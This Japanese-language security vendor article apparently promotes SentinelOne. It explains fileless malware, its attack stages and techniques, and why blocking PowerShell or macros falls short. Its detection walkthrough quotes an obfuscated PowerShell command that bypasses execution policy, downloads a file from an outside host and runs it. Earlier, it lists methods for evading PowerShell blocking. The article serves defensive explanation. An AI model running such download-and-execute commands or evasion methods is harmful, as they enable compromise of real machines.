ファイルレスマルウェアは従来のファイルを使用せずに動作するため、検知が困難です。本ガイドでは、ファイルレスマルウェアの動作原理、感染手法、組織に及ぼすリスクについて解説します。
このステルス脅威に対抗するための効果的な検知・防御戦略について学びましょう。ファイルレスマルウェアを理解することは、サイバーセキュリティ防御を強化する上で極めて重要です。
SentinelOneの2018年上半期エンタープライズリスクインデックスレポートによると、ファイルレスベースの攻撃は1月から6月の間に94%増加しました。PowerShell攻撃は、2018年5月のエンドポイント1,000台あたり2.5件から、6月には同5.2件へと急増しました。過去数年間、脅威アクターは、非常に効果的な代替手段としてファイルレスマルウェアへの依存を強めている。

ファイルレスマルウェアとは?
ファイルレスマルウェアとは、エンドポイントのファイルシステム上に既に存在する実行可能ファイル以外を使用しない悪意のあるコードです。 通常、実行中のプロセスに注入され、RAM内でのみ実行されます。この特性により、従来のアンチウイルスソフトウェアやその他のエンドポイントセキュリティ製品が検出・防御するのは極めて困難です。その理由は、フットプリントが小さく、スキャン対象となるファイルが存在しないためです。
米国、カナダ、欧州に影響を与えた事例の一つでは、攻撃者がスパムキャンペーンを展開し、開くとマクロを実行する悪意のあるWord文書を配信。この過程でファイルレスマルウェアを拡散させました。このようなケースにおける「ファイルレス」とは、攻撃者がWindows PowerShellを活用し、実行可能ファイルをディスクに書き込む(一般的なマルウェアスキャナーに検出される可能性がある)のではなく、直接メモリにロードすることを指します
実行ファイルを使用せずにデバイス上でコードを実行する方法は他にも多数存在します。これらは往々にしてOSが利用可能かつ信頼するシステムプロセスを利用します。
いくつかの例を挙げると:
- VBScript
- JScript
- バッチファイル
- PowerShell
- Windows Management Instrumentation(WMI)
- Mshta および rundll32 (または悪意のあるコードを実行可能なその他の Windows 署名付きファイル)
文書に隠されたマルウェアもファイルレス型攻撃です
システムファイルを利用して悪意のあるコードを実行するファイルレスベースの攻撃に加え、ドキュメント内に隠されたマルウェアも一般的なファイルレス攻撃の一種です。このようなデータファイルはコードの実行が許可されていませんが、Microsoft Office や PDF リーダーには悪意のある攻撃者がコード実行権限を取得するために悪用できる脆弱性が存在します。例えば、感染した文書は悪意のあるPowerShellコマンドをトリガーする可能性があります。また、マクロ や DDE攻撃 などです。
ファイルレスマルウェアの仕組みとは?
実環境で最も一般的なファイルレスマルウェアの手口は、被害者がメール内のスパムリンクや詐欺サイトをクリックすることです。
そのリンクやサイトはFlashアプリケーションをロードし、関連するエクスプロイトを実行してユーザーのマシンを感染させます。その後、マルウェアはシェルコードを使用してコマンドを実行し、ペイロードをメモリ内のみでダウンロード・実行します。
これは、その活動痕跡が一切残らないことを意味します。<ハッカーの目的によっては、マルウェアは機密データの侵害、被害者のコンピュータへの損害、データ窃取や暗号化などのその他の有害な行動を実行する可能性があります。
ハッカーは通常、信頼できる、あるいは見覚えのある送信者を装い、被害者に提供したリンクをクリックさせるよう仕向けます。特に、被害者が自社社員や幹部からの連絡だと信じる正式な場面では効果的です。
ここで重要な点は、この種のマルウェア攻撃が成功するためにはソーシャルエンジニアリングに依存していることです。
ファイルレスマルウェアの特徴
この種の悪意のあるソフトウェアは、既にコンピュータ上に存在するプログラムを利用します。その動作はヒューリスティックスキャナーでは検出できず、識別可能なコードやシグネチャを持ちません。
さらに、ファイルレスマルウェアはシステムのメモリ内に常駐します。
動作には感染したオペレーティングシステムのプロセスを利用します。より高度なファイルレスマルウェアは、複雑なサイバー攻撃を可能にするため他の種類のマルウェアと組み合わされることもあります。適切な状況下では、ホワイトリストやサンドボックスの両方を回避することさえ可能です。
ファイルレスマルウェア攻撃の段階&
ファイルレスマルウェア攻撃は、その動作様式において非常に独特です。その仕組みを理解することは、組織が将来のファイルレスマルウェア攻撃から身を守る上で役立ちます。知っておくべき点を探ってみましょう。
1. マルウェアがマシンへのアクセス権を獲得する
脅威アクターがマルウェア攻撃を完全に実行するには、まず被害マシンへのアクセス権を取得する必要があります。多くの場合、フィッシングメールやソーシャルエンジニアリングの手法を用いることが多い。アクセスを得た後、攻撃者はプロセスの追加段階を実行し始める。
被害者のマシンへのアクセスを得る別の方法は、侵害された認証情報を通じたものである。 認証情報を盗むことで、ハッカーはシステムへの自由なアクセス権を得られ、この情報を用いて他の環境へアクセスすることも可能となる。たとえば、マシンへの初期アクセスでは必要な権限が得られない場合でも、このデータ取得に必要な認証情報を入手できる可能性があります。
2. プログラムによる持続性の確立
アクセス権を取得した後、マルウェアはバックドアを確立し、ハッカーが自由にマシンにアクセスできるようにします。この主な目的は、デバイスへのアクセス権を失わず、長期にわたる情報収集を継続できるようにすることです。
3. データ流出
最終段階はデータ流出です。攻撃者が必要な情報を特定した後、データは別の環境へ流出されます。これにより、長期間にわたり検知されずに機密データを取得でき、必要に応じて繰り返し実行可能です。
一般的なファイルレスマルウェアの手法
様々な手法を深く理解することで、将来の攻撃を認識する方法を学ぶことができます。検出回避能力を高めるためにファイルレス機能を活用できるマルウェアを6種類紹介します:
1. メモリ常駐型マルウェア
攻撃者は、実際のWindowsファイルのメモリ領域を利用することで、起動されるまで休眠状態にある悪意のあるコードをロードできます。ファイルレスの特性は、標準的なファイルスキャン型アンチウイルスソフトウェアでは検出できない点にあります。
2. ルートキット
ルートキットはファイルではなくカーネル上に存在するため、検出を回避する強力な能力を持っています。これらは100%ファイルレスですが、進化するこのカテゴリーに分類されます。
3.Windowsレジストリマルウェア
前述の例のように、これらの攻撃は、様々なアプリケーションの低レベル設定を保存するWindowsレジストリデータベースを悪用します。マルウェアはファイル経由で実行されるコードに依存しますが、このファイルは実行後に自己破壊するように設定されており、マルウェアがファイルレス状態で永続化することを可能にします。
4. 偽の認証情報
名称が示す通り、この攻撃では正当なユーザーから侵害された認証情報(盗まれたユーザー名とパスワード)を使用します。ハッカーがシステムへのアクセス権を取得した後、マシンへの攻撃を容易にするためにシェルコードを実装します。
極端なケースでは、コンピュータへの継続的なアクセスを確保するため、レジストリ内にコードを埋め込むこともあります。
5. ファイルレスランサムウェア
この種のマルウェアに不慣れな方のために説明すると、ランサムウェアは、ハッカーが被害者から金銭を脅し取るために使用する悪意のあるプログラムです。彼らはしばしば機密データを暗号化し、一定額の金銭(多くの場合仮想通貨で)を支払わない限り削除すると脅迫します。
この種のファイルレス攻撃が発生すると、ハッカーは対象マシンのディスクに一切書き込むことなく攻撃を実行できます。そのため、手遅れになるまで検知が困難です。
6.エクスプロイトキット
脅威アクターは、被害者のコンピュータ上の脆弱性を悪用するために、エクスプロイトキットと呼ばれるツール群を使用します。これらの攻撃は通常、典型的なファイルレスマルウェア攻撃と同様に始まり、つまりユーザーを騙して不正なリンクをクリックさせるケースが多いです。
プログラムがマシンに侵入すると、エクスプロイトキットはシステムをスキャンして悪用可能な脆弱性を特定し、展開する具体的なエクスプロイトのセットを決定します。多くの場合、マルウェアは検出されずにシステムやデータへの広範なアクセス権を獲得します。
企業にとっての問題点
ファイルレスマルウェアが脅威となる理由の一つは、セキュリティ製品がこうした攻撃で利用されるシステムファイルやソフトウェアを単純にブロックできない点にある。たとえば、セキュリティ管理者がPowerShellをブロックするとIT保守業務に支障をきたします。Office文書やOfficeマクロのブロックも同様で、ビジネス継続性への影響はさらに深刻になる可能性があります。
フットプリントが小さく、スキャン対象となる「外部」実行ファイルが存在しないため、従来のアンチウイルスやその他のエンドポイントセキュリティ製品では、この種の攻撃を検知・防止することが困難です。
ベンダーにとっての問題点
企業は、ファイルレスマルウェアに対する効果的な防御策の欠如が組織を極めて脆弱な状態に陥らせ得ることを理解しています。その結果、セキュリティベンダーはこの増大する脅威に対処する圧力を受け、自社の「ファイルレス攻撃」対策機能を主張(または実証)するための様々なパッチを開発しました。
残念ながら、この問題解決に向けた多くの試みは理想とは程遠いものです。以下に代表的な解決策とその不十分さを挙げます:
PowerShellのブロック
前述の通り、PowerShellはITチームにとって不可欠なツールとなり、デフォルトのコマンドラインユーティリティとしてMicrosoftの旧来のcmdツールをほぼ置き換えています。これをブロックするとITチームに深刻な混乱が生じます。さらに重要なのは、防御の観点から見て、これをブロックしても無意味だということです:PowerShellの実行ポリシーをバイパスする方法については、多くの公開情報源が存在します:バイパスする方法や、PowerShell.exeのブロックを迂回するその他の使用方法について解説している公開情報源は数多く存在します。 いくつか例を挙げると:
- PowerShdllを使用したシンプルなrundll32コマンドで、PowerShellをDLLのみで実行する
- PowerShellスクリプトを他のEXEファイルに変換する(例: PS2EXEなどのツールを使用)
- セキュリティ製品によるPowerShellの検知を回避するため、独自のPowerShell.exeコピーを使用する、またはローカルのPowerShellを変更するマルウェアを使用する
- PNGファイルのピクセル内にPowerShellスクリプトを埋め込み、Invoke-PSImage
MS Office マクロファイルのブロック
この攻撃ベクトルを排除するため、Microsoft は サイト設定としてマクロを無効化するオプションを追加しました(Office 2016以降)。しかし、ほとんどの環境では依然としてマクロが許可されているため、セキュリティベンダーは主に以下の2つの方法でこの問題に対処しています:
- マクロを全面的にブロック – マクロが不要な組織向けにMicrosoftが提供する制限を適用します
- マクロコードを抽出して静的解析やレピュテーションチェックを実施する – これは一部のケースで有効です。ただし、この手法の欠点は、特に未確認の悪意あるマクロの場合、許容可能な誤検知率内で当該コードを分類・検出することが極めて困難である点です。さらに、良性と悪性のコードを網羅したリポジトリはほとんど存在しません。別の選択肢として、攻撃で典型的に見られる共通関数の探索がありますが、これも変動性が高く広くカタログ化されていません
サーバーサイド検知
一部の製品はエージェントサイド監視のみを使用し、サーバーまたはクラウド上で判断を行います。このアプローチは、エンドポイント上で行われない検知と同様の欠点があります。主に、動作には接続性が必要であり、エージェントはサーバーの応答を待ってから動作するため、予防は不可能です。
ファイルレスマルウェアの検知方法
ファイルレスマルウェアは、従来のシグネチャベース検知、ホワイトリスト、サンドボックスセキュリティ手法を回避できるため、従来のアンチウイルスソフトウェアやレガシーサイバーセキュリティ製品にとって最も検知が困難な脅威の一つです。
組織をファイルレスマルウェアから守る効果的な方法は、脅威ハンティングチームを配置し、マルウェアを積極的に探索させることです。
攻撃の兆候は組織環境内で隠蔽され混在します。システム内で現れる形態は多様であり、ファイルレスマルウェアを発見するには脅威に対する深い理解が必要です。
アイデンティティではなく行動を監視せよ
重要なのは、マシン上のファイルを検査するのではなく、エンドポイント上で実行されるプロセスの動作を観察することです。マルウェアの亜種は膨大かつ増加傾向にあるものの、その動作様式は非常に類似しているため、この手法は効果的です。マルウェアの動作パターンは、悪意のあるファイルの外観パターンに比べ格段に少ないため、このアプローチは予防と検知に適しています。
SentinelOneは静的解析や行動ベースのAIを含む複数のエンジンを採用していますが、行動ベースのアプローチは攻撃ベクトルに依存しないため、この種の攻撃の検知と防止に極めて優れています。
この手法の有効性は、WannaCryキャンペーンなどの事例で実証されています。SentinelOneは、このランサムウェアが実際に確認される前に顧客を防御することができました。
SentinelOneがファイルレスマルウェアを阻止する方法
SentinelOneは、エージェント側のすべての活動をカーネルレベルで監視し、悪意のある活動と無害な活動を区別します。エージェントは既に完全なコンテキスト(ユーザー、プロセス、コマンドライン引数、レジストリ、ディスク上のファイル、外部通信)を保持しているため、あらゆる悪意のある活動を完全に軽減できます。SentinelOneはすべての悪意のある行為をロールバックし、ユーザーがクリーンなデバイスで作業できるようにします。
本質的に、SentinelOneはネットワーク全体において、悪意のあるコードからネットワークをクリーンに保つための隠れたコストを免除します。
アクティブコンテンツ
このアプローチを効果的に実装するため、SentinelOneは「ストーリーライン」という概念を採用しています。これは悪意のある活動の根本原因に責任を帰属させる問題を解決します。
例えば、ユーザーがOutlook経由で悪意のある添付ファイルをダウンロードし、それがディスク上のファイルを暗号化しようとするとします。このシナリオでは、親プロセスであるOutlookを非難し隔離すると、悪意のある活動の真の源を見逃してしまいます。代わりに、Outlookはフォレンジックデータのソースとして含めるべきであり、表示はするが緩和は行わないようにします。ただし、追加でドロップされたファイル、作成されたレジストリキー、その他の有害な動作に関わらず、脅威グループ全体を緩和したいと考えます。
StoryLineを使用することで、ファイルの有無にかかわらず、特定の悪意のあるフローの根本原因を特定し、その原因を特定することができます。これにより、お客様はインシデントを正確に対処することが可能になります。

検知と緩和の手順
ユーザーが暗号化されたメールでWord文書を受け取った場合のフローを順を追って説明します。ユーザーは送信者を知っているため、文書をデスクトップにダウンロードして開きます。ファイルを開くと、次のような内容が表示されます。

「はい」をクリックすると、攻撃が開始されます。SentinelOneエージェント(この例では検出モードで実行)が何を検知するか見てみましょう。
 
 管理者は、この攻撃に関与した各要素がどのように攻撃に寄与したかを正確に調査できます。
SentinelOne は PowerShell コマンドを呼び出す正確なコマンドラインを表示します:
-ExECUtiONpOlIcy BYpAsS -NoPROfILE -WInDOWSTYLe HIdDEN (neW-oBJeCT SysTem.NeT.weBcliENT).doWNlOADfilE('http://v32gy.worldnews932.ru/file/nit.nbv','C:UsersadminAppDataRoaming.exE');START-proceSS 'C:UsersadminAppDataRoaming.exE'

実際のシナリオでは、SentinelOne エージェントが即座に問題を緩和します。これは自動的に発生し、管理者が何らかの操作を行う必要はありません。管理者はSMS、SIEM、またはメールで通知を受け取ります。
 
 結論
結局のところ、攻撃者は最小の労力で最大の利益を得るため、常にエンドポイントを侵害する最短経路を選択します。ファイルレスマルウェアは急速にその主要な手段となりつつあり、PowerShellのような基本操作をブロックするだけでは、こうした攻撃を防ぐには不十分です。ここで真価を発揮するのが、行動ベースのAI検知と多層防御を基盤とするSentinelOneです。エクスプロイト、マクロ文書、エクスプロイトキット、PowerShell、PowerSploit、ゼロデイ脆弱性をローカルで検知し、従業員の日常業務の生産性に影響を与えません。
デモをリクエストし、SentinelOneがファイルレスマルウェアやゼロデイ攻撃からどのように保護できるか、さらに詳しく学びましょう!
"ファイルレスマルウェアに関するよくある質問
ファイルレスマルウェアとは、メモリ上で動作し、ディスク上に保存されたファイルに依存しない悪意のあるコードです。PowerShellやWMIなどの正当なツールを悪用して攻撃を実行し、従来のアンチウイルスが検知できる痕跡をほとんど、あるいは全く残しません。攻撃者はこれを用いて検知を回避し、目的を達成するまで永続性を維持します。
"フィッシングメールがWord文書に悪意のあるマクロを埋め込みます。このマクロはメモリ上で直接PowerShellスクリプトを実行し、ペイロードをダウンロードしてバックドアを作成します。ディスク上にファイルを保存することなく、信頼されたシステムプロセスを悪用するため、標準的なセキュリティツールによる検知が極めて困難です。
"ファイルレスマルウェアは、データの窃取、ランサムウェアの展開、バックドアのインストール、あるいはシステムへの完全な制御権の奪取を可能にします。正当なプロセスを利用し、ディスクにほとんどアクセスしないため、検出が困難でメモリ内に長期間潜伏し、攻撃者がアクセスを維持したりネットワークの深部へ侵入したりすることを可能にします。
"一般的な手法には、PowerShell、WMI、Windows レジストリ、マクロの悪用が含まれます。攻撃者はリフレクティブDLLインジェクション、悪意のあるスクリプト、LOLBins(Living-off-the-land Binaries)を利用してファイル書き込みを回避します。
スケジュールされたタスクやメモリ常駐型エクスプロイトを使用する場合もあり、これにより再起動やプロセス終了後にペイロードが消滅します。
"不審なスクリプト活動、PowerShellやWMIの異常な使用、メモリ異常を監視できます。エンドポイント検知・対応(EDR)プラットフォームは、コマンドライン活動やプロセス動作のログ記録で役立ちます。ファイルレス操作を示す可能性のある、新規スケジュールされたタスク、レジストリ変更、予期しないネットワーク接続に注意してください。
"システムの動作が遅くなったり、メモリ内に未知のプロセスが表示されたり、異常なネットワークトラフィックが発生したりします。予期しないPowerShellやWMIの活動、新規スケジュールされたタスク、レジストリの変更が見られる場合があります。従来のアンチウイルスではほとんど検出できないため、動作上の手がかりやシステムの不安定性を確認する必要があります。
"不要なスクリプトツールを無効化し、ユーザー権限を制限し、全てのソフトウェアを最新の状態に保ちます。EDRソリューションを使用してメモリとスクリプトの使用状況を監視します。スタッフに不審なメールや添付ファイルを開かないよう訓練します。
マクロをデフォルトでブロックし、システムを定期的に監査して異常な動作や開いているネットワーク接続を確認します。
"
